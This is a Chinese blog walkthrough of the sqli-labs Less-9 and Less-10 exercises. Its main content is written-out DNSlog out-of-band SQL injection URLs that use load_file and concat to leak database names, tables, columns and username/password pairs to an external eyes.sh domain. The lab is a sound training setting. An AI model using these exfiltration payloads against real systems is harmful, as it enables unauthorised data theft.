当前位置: 首页 > article >正文

sqli-labs靶场less-9和less-10

sqli-labs靶场less-9

本文只展示如何利用dnslog注入通过本关,注入原理可以参考我另外一篇文章

DSNlog注入原理
在这里插入图片描述

1、确定闭合方式

http://192.168.140.130/sq/Less-9/?id=1

发现id的值不论为任何值,页面回显都是一致的You are in…
判断不存在布尔注入,报错注入
用dnslog注入,构造1' and sleep(2) --+确定闭合方式
可以将单引号修改为",'),')),"),"))等,查看页面回显时间,最终确定语句为

http://192.168.140.130/sq/Less-9/?id=1’ and sleep(2) --+

页面回显延迟,确定闭合方式为' '

2、平台选取

打开网址 https://eyes.sh/login ,注册账号

也可以使用其他平台,更多平台可以参考我上面提到的连接
在这里插入图片描述
登入进去

在这里插入图片描述

3、dnslog注入

构造语句

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select database()),‘.zifei.eyes.sh/test.txt’))) --+
concat是为了将里面的值拼接起来
zifeiyu.eyes.sh是自己在eses.sh中注册

查看网页得到数据库名

在这里插入图片描述

数据库版本

在这里插入图片描述

爆出所有数据库

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 2,1),‘.zifei.eyes.sh/test.txt’))) --+
http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select schema_name from information_schema.schemata limit 3,1),‘.zifei.eyes.sh/test.txt’))) --+
在这里插入图片描述
在这里插入图片描述
此处图片只列举一些

爆出security的所有表

  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 2,1),‘.zifei.eyes.sh/test.txt’))) --+
  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 3,1),‘.zifei.eyes.sh/test.txt’))) --+

在这里插入图片描述

爆出列名

  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+
  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+
  • http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),‘.zifei.eyes.sh/test.txt’))) --+

在这里插入图片描述

爆出数据

http://192.168.140.130/sq/Less-9/?id=1’ and (select load_file(concat(‘//’,(select concat(username,‘.’,password) from security.users limit 0,1),‘.zifei.eyes.sh/test.txt’))) --+

只需要修改0的值,便可以得到所有的值
在这里插入图片描述

less-10

本关与第九关用dnslog通过方式一样,只不过闭合方式为";其他一致


http://www.kler.cn/news/339137.html

相关文章:

  • 汽车电气系统中KL30、KL15、KL50、KLR、KL31、KL87、KL75的作用
  • 电脑无法无线投屏的解决办法
  • 国外电商系统开发-运维系统文件上传
  • 栈与队列面试题(Java数据结构)
  • Python 从入门到实战35(进程-multiprocessing模块)
  • 【陪诊系统】打包问题
  • 【堆排】为何使用向下调整法建堆比向上调整法建堆更好呢?
  • Tianrui Green Shield
  • Python知识点:如何使用Google Cloud IoT与Python进行边缘计算
  • ASP.NetCore---I18n(internationalization)多语言版本的应用
  • 智能医疗:Spring Boot医院管理系统开发
  • 【C++ 11】nullptr 空指针
  • 【Python语言进阶(一)】
  • PointNet++网络详解
  • 构建高效团队,内部CRM系统的益处详解
  • Vue2电商平台(五)、加入购物车,购物车页面
  • 修改银河麒麟操作系统V10(SP1)网卡名称为ethx
  • 外贸财务管理必备,6款热门软件优势对比
  • Java虚拟机(JVM)介绍
  • MoveIt2-humble】入门教程----第一个 C++ MoveIt 程序